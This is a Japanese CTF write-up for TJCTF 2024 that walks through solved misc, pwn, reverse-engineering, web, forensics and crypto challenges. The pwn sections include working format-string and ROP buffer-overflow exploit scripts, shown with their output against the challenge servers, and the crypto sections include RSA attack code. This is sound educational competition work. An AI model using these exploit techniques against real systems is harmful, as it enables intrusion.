TJCTF 2024 Writeup

この大会は2024/5/18 3:30(JST)~2024/5/20 3:30(JST)に開催されました。
今回もチームで参戦。結果は1721点で518チーム中71位でした。
自分で解けた問題をWriteupとして書いておきます。

discord (misc)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

tjctf{wahooooooooooooooooooooooo}

trip (misc)

画像検索すると、アルハンブラ宮殿が出てくる。

tjctf{alhambra}

cowsay (pwn)

FSBでスタック上にあるフラグを取得する。

#!/usr/bin/env python3
from pwn import *

flag = ''
i = 20
while True:
    payload = '%' + str(i) + '$p'
    p = remote('tjc.tf', 31258)
    data = p.recvuntil(b'> ').decode()
    print(data + payload)
    p.sendline(payload.encode())
    for _ in range(2):
        data = p.recvline().decode().rstrip()
        print(data)
    flag += p64(eval(data.split(' ')[-1])).decode()
    i += 1
    for _ in range(7):
        data = p.recvline().decode().rstrip()
        print(data)
    p.close()

    if '}' in flag:
        break

flag = flag.rstrip('\x00')
print(flag)

実行結果は以下の通り。

[+] Opening connection to tjc.tf on port 31258: Done
what does the cow say???
> %20$p
 ____________________________________
< 0x306d7b6674636a74
 >
 ----------------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
[*] Closed connection to tjc.tf port 31258
[+] Opening connection to tjc.tf on port 31258: Done
what does the cow say???
> %21$p
 ____________________________________
< 0x30665f6f6f6f306f
 >
 ----------------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
[*] Closed connection to tjc.tf port 31258
[+] Opening connection to tjc.tf on port 31258: Done
what does the cow say???
> %22$p
 ____________________________________
< 0x5474615f74616d72
 >
 ----------------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
[*] Closed connection to tjc.tf port 31258
[+] Opening connection to tjc.tf on port 31258: Done
what does the cow say???
> %23$p
 ____________________________________
< 0x3333315f316b6361
 >
 ----------------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
[*] Closed connection to tjc.tf port 31258
[+] Opening connection to tjc.tf on port 31258: Done
what does the cow say???
> %24$p
 ____________________________________
< 0xa7d37
 >
 ----------------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
[*] Closed connection to tjc.tf port 31258
tjctf{m0o0ooo_f0rmat_atTack1_1337}
tjctf{m0o0ooo_f0rmat_atTack1_1337}

ring-opening-polymerization (pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char local_10 [8];
  
  gets(local_10);
  return 0;
}

void win(long param_1)

{
  char local_78 [104];
  FILE *local_10;
  
  local_10 = fopen("flag.txt","r");
  fgets(local_78,0x23,local_10);
  printf("%i\n",param_1);
  if (param_1 == 0xdeadbeef) {
    puts(local_78);
    fflush(stdout);
  }
  else {
    puts("Bad!");
  }
  return;
}

BOFで引数に0xdeadbeefを指定してwin関数をコールすればよい。

$ ROPgadget --binary out --re "pop rdi"
Gadgets information
============================================================
0x0000000000401175 : mov dl, byte ptr [rbp + 0x48] ; mov ebp, esp ; pop rdi ; ret
0x0000000000401178 : mov ebp, esp ; pop rdi ; ret
0x0000000000401177 : mov rbp, rsp ; pop rdi ; ret
0x000000000040117a : pop rdi ; ret
0x0000000000401176 : push rbp ; mov rbp, rsp ; pop rdi ; ret

Unique gadgets found: 5
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('tjc.tf', 31457)
else:
    p = process('./out')

elf = ELF('./out')

pop_rdi_addr = 0x40117a
win_addr = elf.symbols['win']

payload = b'A' * 16
payload += p64(pop_rdi_addr)
payload += p64(0xdeadbeef)
payload += p64(win_addr)

print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to tjc.tf on port 31457: Done
[*] '/media/sf_Shared/out'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
b'AAAAAAAAAAAAAAAAz\x11@\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x7f\x11@\x00\x00\x00\x00\x00'
-559038737
tjctf{bby-rop-1823721665as87d86a5}
[*] Closed connection to tjc.tf port 31457
tjctf{bby-rop-1823721665as87d86a5}

guess-what (rev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  undefined8 uVar2;
  long in_FS_OFFSET;
  int local_a4;
  FILE *local_a0;
  char local_98 [64];
  char local_58 [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setbuf(stdout,(char *)0x0);
  puts("welcome to the guessing game!");
  puts("guess what I\'m thinking");
  fgets(local_98,0x40,stdin);
  iVar1 = strcmp(local_98,"nuh uh pls nolfjdl\n");
  if (iVar1 == 0) {
    puts("please guess a number between 0 and 100:");
    __isoc99_scanf(&DAT_00102089,&local_a4);
    if ((int)(0x17a / (long)local_a4) + 3 == local_a4) {
      puts("congratulations! you guessed the correct number!");
    }
    else {
      puts("sorry, you guessed the wrong number!");
    }
    local_a0 = fopen("flag.txt","r");
    if (local_a0 == (FILE *)0x0) {
      puts("flag.txt not found - ping us on discord if you are running this on the server");
      uVar2 = 1;
    }
    else {
      fgets(local_58,0x40,local_a0);
      puts(local_58);
      uVar2 = 0;
    }
  }
  else {
    puts("nuh uh!");
    uVar2 = 1;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}

以下のようにすれば、フラグが得られる。

・最初の入力で"nuh uh pls nolfjdl"を指定する。
・次の入力では(0x17a / x) + 3 = xを満たすxを指定すれば、祝福のメッセージが表示されるが間違ってもよい。
$ nc tjc.tf 31478
welcome to the guessing game!
guess what I'm thinking
nuh uh pls nolfjdl
please guess a number between 0 and 100:
50
sorry, you guessed the wrong number!
tjctf{n3v3r_c0uld_r34d_y0ur_m1nd_8e6646a1}
tjctf{n3v3r_c0uld_r34d_y0ur_m1nd_8e6646a1}

wt-two (rev)

Ghidraでデコンパイルする。

int main(int param_1,int **param_2)

{
  byte bVar1;
  undefined4 uVar2;
  byte bVar3;
  int iVar4;
  size_t sVar5;
  byte local_f8 [64];
  undefined4 local_b8 [4];
  undefined4 local_a8;
  undefined4 local_a4;
  undefined4 local_a0;
  undefined4 local_9c;
  undefined4 local_98;
  undefined4 local_94;
  undefined4 local_90;
  undefined4 local_8c;
  undefined4 local_88;
  undefined4 local_84;
  undefined4 local_80;
  undefined4 local_7c;
  undefined4 local_78;
  undefined4 local_74;
  undefined4 local_70;
  undefined4 local_6c;
  undefined4 local_68;
  undefined4 local_64;
  undefined4 local_60;
  undefined4 local_5c;
  undefined4 local_58;
  undefined4 local_54;
  undefined4 local_50;
  undefined4 local_4c;
  undefined4 local_48;
  undefined4 local_44;
  int local_3c;
  int *local_38;
  int local_30;
  int local_2c;
  int *local_28;
  int local_1c;
  
  if (param_1 == 1) {
    puts("Guess my flag!!\n");
    fgets((char *)local_f8,0x31,stdin);
    sVar5 = strlen((char *)local_f8);
    if (0x1d < sVar5) {
      local_28 = (int *)malloc(4);
      local_b8[0] = 0x75;
      local_b8[1] = 0x6b;
      local_b8[2] = 0x61;
      local_b8[3] = 0x77;
      local_a8 = 99;
      local_a4 = 0x73;
      local_a0 = 0x7a;
      local_9c = 0x61;
      local_98 = 0xf;
      local_94 = 0x43;
      local_90 = 0x31;
      local_8c = 0xf5;
      local_88 = 0xc4;
      local_84 = 0x10d;
      local_80 = 0x215;
      local_7c = 0x3b4;
      local_78 = 0x652;
      local_74 = 0xa77;
      local_70 = 0x103a;
      local_6c = 0x1a02;
      local_68 = 0x2aa3;
      local_64 = 0x455c;
      local_60 = 0x6fc5;
      local_5c = 0xb518;
      local_58 = 0x12534;
      local_54 = 0x1da71;
      local_50 = 0x2ff26;
      local_4c = 0x4d915;
      local_48 = 0x7d8c6;
      local_44 = 0xcb255;
      local_2c = 0;
      while( true ) {
        if (0x1d < local_2c) {
          puts("Nice!!!");
          return 1;
        }
        *local_28 = local_2c;
        bVar1 = local_f8[local_2c];
        uVar2 = local_b8[local_2c];
        bVar3 = main(3,&local_28);
        if (bVar1 != (byte)(bVar3 ^ (byte)uVar2)) break;
        local_2c = local_2c + 1;
      }
    }
  }
  else if (param_1 == 3) {
    local_30 = **param_2;
    if ((local_30 != 0) && (local_30 != 1)) {
      local_38 = (int *)malloc(4);
      local_3c = local_30 + -1;
      *local_38 = local_3c;
      local_1c = 0;
      iVar4 = main(3,&local_38);
      local_1c = local_1c + iVar4;
      local_3c = local_3c + -1;
      *local_38 = local_3c;
      iVar4 = main(3,&local_38);
      return local_1c + iVar4;
    }
    return 1;
  }
  puts("Wrong...\n");
  return -1;
}

フィボナッチ数列とlocal_b8[0]以降の値とXORしたものと比較しているので、それを算出する。

#!/usr/bin/env python3
def fib(n):
    if n == 0:
        return 1
    elif n == 1:
        return 1
    else:
        return fib(n - 1) + fib(n - 2)

enc = [0x75, 0x6b, 0x61, 0x77, 99, 0x73, 0x7a, 0x61, 0xf, 0x43, 0x31, 0xf5,
    0xc4, 0x10d, 0x215, 0x3b4, 0x652, 0xa77, 0x103a, 0x1a02, 0x2aa3, 0x455c,
    0x6fc5, 0xb518, 0x12534, 0x1da71, 0x2ff26, 0x4d915, 0x7d8c6, 0xcb255]

flag = ''
for i in range(len(enc)):
    flag += chr(enc[i] ^ fib(i))
print(flag)
tjctf{wt-the-twoooooas48%@dfs}

garfield-mondays (rev)

jadx-guiデコンパイルする。

package com.tjctf.garfieldmondays;

import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.view.animation.LinearInterpolator;
import android.view.animation.RotateAnimation;
import android.widget.ImageView;
import androidx.appcompat.app.AppCompatActivity;
import java.math.BigInteger;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.Date;
import java.util.Locale;

/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
    ImageView garfield;
    GarfieldView garfieldView;
    boolean isRotating = false;

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        this.garfieldView = (GarfieldView) findViewById(R.id.garfieldView);
        this.garfield = (ImageView) findViewById(R.id.flag);
        this.garfieldView.garfield = this.garfield;
    }

    public void waveFlag(View view) {
        if (isTodayMonday()) {
            SimpleDateFormat sdf = new SimpleDateFormat("HH:mm", Locale.US);
            String currentTime = sdf.format(new Date());
            Log.i("FlagActivity", "Flag waved at: " + currentTime);
            String hashedTime = hashTime(currentTime);
            if ("cf4627b3786c8bad8cb855567bda362d8eca1809ea8839423682715cdf3aadad".equals(hashedTime)) {
                fetchSecrets(currentTime);
            }
        }
        RotateAnimation anim = new RotateAnimation(0.0f, 360.0f, 720.0f, 607.0f);
        RotateAnimation anim2 = new RotateAnimation(0.0f, -360.0f, 720.0f, 607.0f);
        anim.setInterpolator(new LinearInterpolator());
        anim2.setInterpolator(new LinearInterpolator());
        anim.setDuration(700L);
        anim2.setDuration(700L);
        if (!this.isRotating) {
            this.garfield.setAnimation(null);
            this.garfield.startAnimation(anim);
            this.isRotating = true;
            return;
        }
        this.garfield.setAnimation(null);
        this.garfield.startAnimation(anim2);
        this.isRotating = false;
    }

    public void fetchSecrets(String currentTime) {
        String modifiedTime = currentTime.replace(":", "");
        int timeAsInt = Integer.parseInt(modifiedTime);
        int calculatedValue = (timeAsInt * 100) + 225390;
        String result = modifiedTime + calculatedValue;
        Log.i("Login Info", "Username: garfield Password: " + TimeEncoder.encodeTime(result));
    }

    private String hashTime(String time) {
        try {
            MessageDigest md = MessageDigest.getInstance("SHA-256");
            byte[] hash = md.digest(time.getBytes(StandardCharsets.UTF_8));
            BigInteger number = new BigInteger(1, hash);
            StringBuilder hexString = new StringBuilder(number.toString(16));
            while (hexString.length() < 32) {
                hexString.insert(0, '0');
            }
            return hexString.toString();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
            return null;
        }
    }

    public boolean isTodayMonday() {
        Calendar calendar = Calendar.getInstance();
        int dayOfWeek = calendar.get(7);
        return dayOfWeek == 2;
    }
}

package com.tjctf.garfieldmondays;

import androidx.constraintlayout.widget.ConstraintLayout;

/* loaded from: classes3.dex */
public class TimeEncoder {
    public static String encodeTime(String time) {
        char[] charArray;
        StringBuilder encoded = new StringBuilder();
        for (char c : time.toCharArray()) {
            encoded.append(mapCharacter(c));
        }
        return encoded.toString();
    }

    private static String mapCharacter(char c) {
        switch (c) {
            case '(':
                return "46";
            case '*':
                return "!";
            case ConstraintLayout.LayoutParams.Table.LAYOUT_CONSTRAINT_VERTICAL_CHAINSTYLE /* 48 */:
                return "4";
            case ConstraintLayout.LayoutParams.Table.LAYOUT_EDITOR_ABSOLUTEX /* 49 */:
                return "g";
            case '2':
                return "i";
            case ConstraintLayout.LayoutParams.Table.LAYOUT_CONSTRAINT_TAG /* 51 */:
                return "l";
            case ConstraintLayout.LayoutParams.Table.LAYOUT_CONSTRAINT_BASELINE_TO_TOP_OF /* 52 */:
                return "f";
            case ConstraintLayout.LayoutParams.Table.LAYOUT_CONSTRAINT_BASELINE_TO_BOTTOM_OF /* 53 */:
                return "e";
            case ConstraintLayout.LayoutParams.Table.LAYOUT_MARGIN_BASELINE /* 54 */:
                return "d";
            case ConstraintLayout.LayoutParams.Table.LAYOUT_GONE_MARGIN_BASELINE /* 55 */:
                return "1";
            case '8':
                return "2";
            case '9':
                return "3";
            case 'a':
                return "j";
            case 'b':
                return "c";
            case 'j':
                return "k";
            case 'n':
                return "v";
            case 'o':
                return "w";
            case 'q':
                return "w";
            case 'z':
                return "2";
            case '}':
                return "{";
            default:
                return "";
        }
    }
}

CrackStationで以下のハッシュをクラックすると、"14:25"であるとわかる。

cf4627b3786c8bad8cb855567bda362d8eca1809ea8839423682715cdf3aadad

fetchSecrets("14:25")でユーザ名とパスワードがわかる。
ユーザ名は"garfield"であることがわかる。
パスワードは以下のような処理でわかる。

・modifiedTime: "14:25"を":"を削除した文字列 → "1425"
・timeAsInt: modifiedTimeを数値にする → 1425
・calculatedValue = (timeAsInt * 100) + 225390
・result: modifiedTimeとcalculatedValueの文字列を結合したもの
・TimeEncoder.encodeTime(result)がパスワード
>>> (1425 * 100) + 225390
367890

calculatedValueは367890なので、resultは"1425367890"になる。
mapCharacter関数で対応する文字に変換する。

gfield1234

https://garfield-mondays.tjc.tf/で以下のユーザでログインする。

Username: garfield
Password: gfield1234

ログイン成功し、フラグが表示された。

tjctf{g4rf1eld_lasagna_m0nday}

pseudo-brainrot (rev)

seedを使った乱数のため、lmaoの値は割り出せる。またlmaoをseedとして、乱数を使用している。このため、trollやrandnum、changeの値がわかる。
まず逆算し、new_flagを求める。その後indsのインデックスから元のflagを求める。

#!/usr/bin/env python3
from PIL import Image
import random

random.seed(42)
lmao = random.randint(12345678, 123456789)

img = Image.open('skibidi_encoded.png')
width, height = img.size

random.seed(lmao)
troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao))
inds = [i for i in range(288)]
troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao))
randnum = random.randint(1, 500)
troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao))

for i in range(random.randint(0, 500), random.randint(500, 1000)):
    random.seed(i)
    random.shuffle(inds)
    if i==randnum:
        break

troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao))
troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao))
troll = [random.randint(random.randint(-lmao, 0),random.randint(0, lmao)) for _ in range(random.randint(1,5000))]
troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao))

pic_inds = []
while len(pic_inds) != 288:
    troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao))
    pic_inds.append(random.randint(0, width * height))
    troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao))

new_flag = ''
for i in range(288):
    troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao))
    cur_ind = pic_inds[i]
    troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao))
    row = cur_ind // height
    troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao))
    col = cur_ind % width
    troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao))
    colors = list(img.getpixel((row ,col)))
    troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao))
    change = random.randint(0, 2)
    troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao))
    new_flag += str(colors[change] & 1)
    troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao))
    troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao))
    if i % randnum == 0:
        random.seed(random.randint(random.randint(-lmao, 0),random.randint(0, lmao)))

st = ['*'] * 288
for i in range(288):
    st[inds[i]] = new_flag[i]

st = ''.join(st)

flag = ''
for i in range(0, len(st), 8):
    flag += chr(int(st[i:i+8], 2))
print(flag)
tjctf{th@t_m@d3_m3_g0_1n5an3333!!!!}

frog (web)

https://frog.tjc.tf/robots.txtにアクセスすると、以下のように書いてある。

User-agent: *
Disallow: /secret-frogger-78570618/

https://frog.tjc.tf/secret-frogger-78570618/にアクセスすると、たくさんのカエルの画像のページになる。HTMLソースを見ると、そのうちの一つがリンクになっている。

<a href="flag-ed8f2331.txt" style="text-decoration: none;">

https://frog.tjc.tf/secret-frogger-78570618/flag-ed8f2331.txtにアクセスすると、フラグが得られた。

tjctf{fr0gg3r_1_h4rdly_kn0w_h3r_3e1c574f}

conversations (forensics)

Wiresharkで開き、httpでフィルタリングする。No.1182のパケットで/flag.jpegにアクセスしていることがわかる。No.1198のパケットがレスポンスになっているので、flag.jpegをエクスポートする。
エクスポートした画像には特にフラグは見当たらない。EXIFを見てみる。

$ exiftool flag.jpeg     
ExifTool Version Number         : 12.57
File Name                       : flag.jpeg
Directory                       : .
File Size                       : 271 kB
File Modification Date/Time     : 2024:05:18 06:38:36+09:00
File Access Date/Time           : 2024:05:18 06:39:58+09:00
File Inode Change Date/Time     : 2024:05:18 06:38:36+09:00
File Permissions                : -rwxrwx---
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Exif Byte Order                 : Big-endian (Motorola, MM)
Resolution Unit                 : inches
Y Cb Cr Positioning             : Centered
Exif Version                    : 0232
Components Configuration        : Y, Cb, Cr, -
User Comment                    : tjctf{I_bh0p_to_sk00l_1337}
Flashpix Version                : 0100
Image Width                     : 1024
Image Height                    : 1024
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1024x1024
Megapixels                      : 1.0

User Commentにフラグが設定されていた。

tjctf{I_bh0p_to_sk00l_1337}

thatsmyjam (forensics)

FTK Imagerで開き、/home/avatar-kyoshi/Music/sus.wavをエクスポートする。
Audacityで開くと、モールス信号になっているので、書き出す。

- .--- -.-. - ..-. .... . .-.. .-.. ----- .. ... .. - -- ...-- -.-- --- ..- .-. . .-.. ----- ----- -.- .. -. --. ..-. ----- .-.

https://morsecode.world/international/translator.htmlでデコードする。

TJCTFHELL0ISITM3YOUREL00KINGF0R

小文字にする。

>>> 'TJCTFHELL0ISITM3YOUREL00KINGF0R'.lower()
'tjctfhell0isitm3yourel00kingf0r'
tjctf{hell0isitm3yourel00kingf0r}

pals (forensics)

StegSolveで開き、Random colour map 1を見ると、フラグが現れた。

tjctf{not_very_palatable_9623c1c9}

weird-crypto (crypto)

暗号処理の概要は以下の通り。

・flag: フラグを数値化したもの
・oops: 20ビット素数
・p1, p2: 512ビット素数
・haha = (p1 - 1) * (p2 - 1)
・crazy_number = pow(oops, -1, haha)
・discord_mod = p1 * p2
・hehe_secret = pow(flag, crazy_number, discord_mod)
・discord_modを表示
・hehe_secretを表示
・crazy_numberを表示

discord_modをn、crazy_numberをe、hehe_secretをcと考えれば、RSA暗号になっていることがわかる。eが非常に大きいので、Wiener's Attackで復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
from fractions import Fraction
from base64 import b64decode

def egcd(a, b):
    x, y, u, v = 0, 1, 1, 0
    while a != 0:
        q, r = b // a, b % a
        m, n = x - u * q, y - v * q
        b, a, x, y, u, v = a, r, u, v, m, n
        gcd = b
    return gcd, x, y

def decrypt(p, q, e, c):
    n = p * q
    phi = (p - 1) * (q - 1)
    gcd, a, b = egcd(e, phi)
    d = a
    pt = pow(c, d, n)
    return long_to_bytes(pt)

def continued_fractions(n,e):
    cf = [0]
    while e != 0:
        cf.append(int(n // e))
        N = n
        n = e
        e = N % e
    return cf

def calcKD(cf):
    kd = list()
    for i in range(1, len(cf) + 1):
        tmp = Fraction(0)
        for j in cf[1:i][::-1]:
            tmp = 1 / (tmp + j)
        kd.append((tmp.numerator, tmp.denominator))
    return kd

def int_sqrt(n):
    def f(prev):
        while True:
            m = (prev + n // prev) // 2
            if m >= prev:
                return prev
            prev = m
    return f(n)

def calcPQ(a, b):
    if a * a < 4 * b or a < 0:
        return None
    c = int_sqrt(a * a - 4 * b)
    p = (a + c) // 2
    q = (a - c) // 2
    if p + q == a and p * q == b:
        return (p, q)
    else:
        return None

def wiener(n, e):
    kd = calcKD(continued_fractions(n, e))
    for (k, d) in kd:
        if k == 0:
            continue
        if (e * d - 1) % k != 0:
            continue
        phin = (e * d - 1) // k
        if phin >= n:
            continue
        ans = calcPQ(n - phin + 1, n)
        if ans is None:
            continue
        return (ans[0], ans[1])

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

n = int(params[0].split(' ')[-1])
c = int(params[1].split(' ')[-1])
e = int(params[2].split(' ')[-1])

p, q = wiener(n, e)

flag = decrypt(p, q, e, c).decode()
print(flag)
tjctf{congrats_on_rsa_e_djfkel2349!}

accountleak (crypto)

サーバの処理概要は以下の通り。

・p, q: 512ビット素数
・sub: 20ビット以下ランダム整数
・my_password: 256ビットランダム整数
・n = p * q
・c = pow(my_password, 65537, n)
・dont_leak_this = (p - sub) * (q - sub)
・c, nを表示
・resp: 入力
・respが"yea"の場合
 ・dont_leak_thisを表示
 ・tic: 現在時刻
 ・resp: 数値入力
 ・toc: 現在時刻
 ・toc - ticが2.5以上の場合、メッセージを表示して終了
 ・toc - ticが2.5未満で、respがmy_passwordと異なる場合、メッセージを表示して終了
 ・toc - ticが2.5未満で、respがmy_passwordと一致する場合、フラグを表示して終了
・respが"yea"以外の場合、メッセージを表示して終了
dont_leak_this = n - sub * (p + q) + sub * sub
    ↓
dont_leak_this % sub = n % sub

このことからsubを総当たりして、subの候補を出す。

p + q = (n + sub * sub - dont_leak_this) // sub
phi = n - (p + q) + 1

これでmy_passwordを求め、pow(my_password, 65537, n)を計算し、cと一致するものを探す。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('tjc.tf', 31601))

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

e = 65537
c = int(data.split(' ')[-3])
n = int(data.split(' ')[-1])

data = recvuntil(s, b'<You> ')
print(data + 'yea')
s.sendall(b'yea\n')
for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

dont_leak_this = int(data.split(' ')[-1])

for sub in range(10000, 2**20):
    if n % sub == dont_leak_this % sub:
        if (n + sub * sub - dont_leak_this) % sub == 0:
             p_plus_q = (n + sub * sub - dont_leak_this) // sub
             phi = n - p_plus_q + 1
             d = inverse(e, phi)
             my_password = pow(c, d, n)
             if c == pow(my_password, e, n):
                 break

data = recvuntil(s, b'<You> ')
print(data + str(my_password))
s.sendall(str(my_password).encode() + b'\n')
for _ in range(3):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

実行結果は以下の通り。

<Bobby> i have an uncrackable password maybe
<Bobby> i'll give you the powerful numbers, 102870186642354054882916018726347818156380166547363496564116050446444114197238927248738956644638435161009135302671239159135153234128771561279299659032401374493705123463179225854824374502688095101268322136064957597672060221749068512154359620680198021829330617481752319610020055064658181788701620733583043669931 and 131208448459423794406869466450124412054448385739966862599654661390786987210667862387626690135663307390419236747841913391040415382781037614169471285701731914015075978687004197282121222531579951537389122766032083134854844439643481510620286738254730578395715433691921221569106913549249095163070370248288005925291
<Bobby> gl hacking into my account
<Bobby> btw do you want to get my diamond stash
<You> yea
<Bobby> i'll send coords
<Bobby> 131208448459423794406869466450124412054448385739966862599654661390786987210667862387626690135663307390419236747841913391040415382781037614169471285694363898842360379346215352969761602744988913389329032159334866086179915915788334106709858709564151329049328079008628115087616664542531634424714731420928901137511
<Bobby> oop wasnt supposed to copypaste that
<Bobby> you cant crack my account tho >:)
<You> 84793254852776950506203128680751549375483901999431237356758078492167552637824
<Bobby> NANI?? Impossible?!?
<Bobby> I might as wel give you the flag
<Bobby> tjctf{h3y_wh3r3_d1d_my_d1am0nds_g0_th3y_w3r3_ju5t_h3r3}
tjctf{h3y_wh3r3_d1d_my_d1am0nds_g0_th3y_w3r3_ju5t_h3r3}

assume (crypto)

暗号処理の概要は以下の通り。

・p: 64ビット素数
・pを出力
・剰余環p上に設定
・g = mod(primitive_root(p), p)
・target_str: flag.txtの内容の1行目(改行付き)
・target.txtにtarget_strを追記
・target_strの長さだけ以下繰り返し(pos)
 ・fixed_eve: ランダム英大文字1文字
 ・以下20回繰り返し
  ・a: 1以上p-1以下のランダム整数
  ・b: 1以上p-1以下のランダム整数
  ・AliceからBobにg**aを送信
  ・BobからAliceにbを送信
  ・BobからAliceにg**bを送信
  ・1以上2以下のランダム値が1の場合
   ・c: 1以上p-1以下のランダム整数
   ・AliceからBobへfixed_eveを送信
   ・AliceからBobへg**cを送信
  ・1以上2以下のランダム値が2の場合
   ・AliceからBobへtarget_str[pos]を送信
   ・AliceからBobへg**(a*b)を送信
・answer: 入力
・target_strとanswerが一致していたら、フラグを表示

各posごとにg**aとbからg**(a*b)を算出し、一致している場合、その文字を集めると、フラグになる。

#!/usr/bin/env python3
with open('log.txt', 'r') as f:
    lines = f.read().splitlines()

p = int(lines[0])

lines = lines[1:]
flag = ''
for i in range(0, len(lines), 6 * 20):
    group = lines[i:i + 6 * 20]
    for j in range(0, len(group), 6):
       g_a = int(group[j].split(' ')[-1])
       b = int(group[j+1].split(' ')[-1])
       f = group[j+3].split(' ')[-1]
       g_c = int(group[j+4].split(' ')[-1])
       if pow(g_a, b, p) == g_c:
           flag += f
           break
    if '}' in flag:
        break

print(flag)
tjctf{legendary_legendre0xd5109ab3}

survey (misc)

アンケートに答えたら、フラグが表示された。

tjctf{and_we_say_bye_bye}